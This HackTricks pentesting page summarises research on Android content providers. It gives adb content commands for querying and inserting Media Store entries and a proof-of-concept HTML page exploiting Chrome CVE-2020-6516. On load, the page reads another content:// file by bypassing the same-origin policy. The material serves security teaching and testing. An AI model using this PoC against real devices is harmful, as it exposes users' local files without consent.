hacktricks/mobile-pentesting/android-app-pentesting/content-protocol.md

121 lines
6.1 KiB
Markdown
Raw Normal View History

2022-04-28 16:01:33 +00:00
2024-07-18 23:16:27 +00:00
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
2022-04-28 16:01:33 +00:00
2024-07-18 23:16:27 +00:00
<details>
2022-04-28 16:01:33 +00:00
2024-07-18 23:16:27 +00:00
<summary>Support HackTricks</summary>
2022-04-28 16:01:33 +00:00
2024-07-18 23:16:27 +00:00
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
2022-04-28 16:01:33 +00:00
</details>
2024-07-18 23:16:27 +00:00
{% endhint %}
2022-04-28 16:01:33 +00:00
2024-05-02 14:18:32 +00:00
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
2024-04-07 22:37:55 +00:00
{% embed url="https://websec.nl/" %}
2022-04-28 16:01:33 +00:00
2024-02-05 02:29:11 +00:00
**This is a summary of the post [https://census-labs.com/news/2021/04/14/whatsapp-mitd-remote-exploitation-CVE-2021-24027/](https://census-labs.com/news/2021/04/14/whatsapp-mitd-remote-exploitation-CVE-2021-24027/)**
2021-05-04 11:44:49 +00:00
2024-02-05 02:29:11 +00:00
### Listing Files in Media Store
To list files managed by the Media Store, the command below can be used:
2021-05-04 11:44:49 +00:00
```bash
$ content query --uri content://media/external/file
```
2024-02-05 02:29:11 +00:00
For a more human-friendly output, displaying only the identifier and path of each indexed file:
2021-05-04 11:44:49 +00:00
```bash
$ content query --uri content://media/external/file --projection _id,_data
```
2024-02-05 02:29:11 +00:00
Content providers are isolated in their own private namespace. Access to a provider requires the specific `content://` URI. Information about the paths for accessing a provider can be obtained from application manifests or the Android framework's source code.
2021-05-04 11:44:49 +00:00
2024-02-05 02:29:11 +00:00
### Chrome's Access to Content Providers
Chrome on Android can access content providers through the `content://` scheme, allowing it to access resources like photos or documents exported by third-party applications. To illustrate this, a file can be inserted into the Media Store and then accessed via Chrome:
2021-05-04 11:44:49 +00:00
2024-02-05 02:29:11 +00:00
Insert a custom entry into the Media Store:
2021-05-04 11:44:49 +00:00
```bash
2024-02-05 02:29:11 +00:00
cd /sdcard
echo "Hello, world!" > test.txt
content insert --uri content://media/external/file \
2021-05-04 11:44:49 +00:00
--bind _data:s:/storage/emulated/0/test.txt \
--bind mime_type:s:text/plain
```
2024-02-05 02:29:11 +00:00
Discover the identifier of the newly inserted file:
2021-05-04 11:44:49 +00:00
```bash
2024-02-05 02:29:11 +00:00
content query --uri content://media/external/file \
2021-05-04 11:44:49 +00:00
--projection _id,_data | grep test.txt
2024-02-05 02:29:11 +00:00
# Output: Row: 283 _id=747, _data=/storage/emulated/0/test.txt
2021-05-04 11:44:49 +00:00
```
2024-02-05 02:29:11 +00:00
The file can then be viewed in Chrome using a URL constructed with the file's identifier.
2021-05-04 11:44:49 +00:00
2024-02-05 02:29:11 +00:00
For instance, to list files related to a specific application:
2021-05-04 11:44:49 +00:00
```bash
2024-02-05 02:29:11 +00:00
content query --uri content://media/external/file --projection _id,_data | grep -i <app_name>
2021-05-04 11:44:49 +00:00
```
2024-02-05 02:29:11 +00:00
### Chrome CVE-2020-6516: Same-Origin-Policy Bypass
2021-05-04 11:44:49 +00:00
2024-02-05 02:29:11 +00:00
The _Same Origin Policy_ (SOP) is a security protocol in browsers that restricts web pages from interacting with resources from different origins unless explicitly allowed by a Cross-Origin-Resource-Sharing (CORS) policy. This policy aims to prevent information leaks and cross-site request forgery. Chrome considers `content://` as a local scheme, implying stricter SOP rules, where each local scheme URL is treated as a separate origin.
2021-05-04 11:44:49 +00:00
2024-02-05 02:29:11 +00:00
However, CVE-2020-6516 was a vulnerability in Chrome that allowed a bypass of SOP rules for resources loaded via a `content://` URL. In effect, JavaScript code from a `content://` URL could access other resources loaded via `content://` URLs, which was a significant security concern, especially on Android devices running versions earlier than Android 10, where scoped storage was not implemented.
2021-05-04 11:44:49 +00:00
2024-02-05 02:29:11 +00:00
The proof-of-concept below demonstrates this vulnerability, where an HTML document, after being uploaded under **/sdcard** and added to the Media Store, uses `XMLHttpRequest` in its JavaScript to access and display the contents of another file in the Media Store, bypassing the SOP rules.
2021-05-04 11:44:49 +00:00
2024-02-05 02:29:11 +00:00
Proof-of-Concept HTML:
```xml
2021-05-04 11:44:49 +00:00
<html>
<head>
<title>PoC</title>
<script type="text/javascript">
function poc()
{
var xhr = new XMLHttpRequest();
xhr.onreadystatechange = function()
{
if(this.readyState == 4)
{
if(this.status == 200 || this.status == 0)
{
alert(xhr.response);
}
}
}
xhr.open("GET", "content://media/external/file/747");
xhr.send();
}
</script>
</head>
<body onload="poc()"></body>
</html>
```
2024-05-02 14:18:32 +00:00
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
2024-04-07 22:37:55 +00:00
{% embed url="https://websec.nl/" %}
2022-04-28 16:01:33 +00:00
2024-07-18 23:16:27 +00:00
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
2022-04-28 16:01:33 +00:00
2024-07-18 23:16:27 +00:00
<details>
2022-04-28 16:01:33 +00:00
2024-07-18 23:16:27 +00:00
<summary>Support HackTricks</summary>
2022-04-28 16:01:33 +00:00
2024-07-18 23:16:27 +00:00
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
2022-04-28 16:01:33 +00:00
</details>
2024-07-18 23:16:27 +00:00
{% endhint %}
2022-04-28 16:01:33 +00:00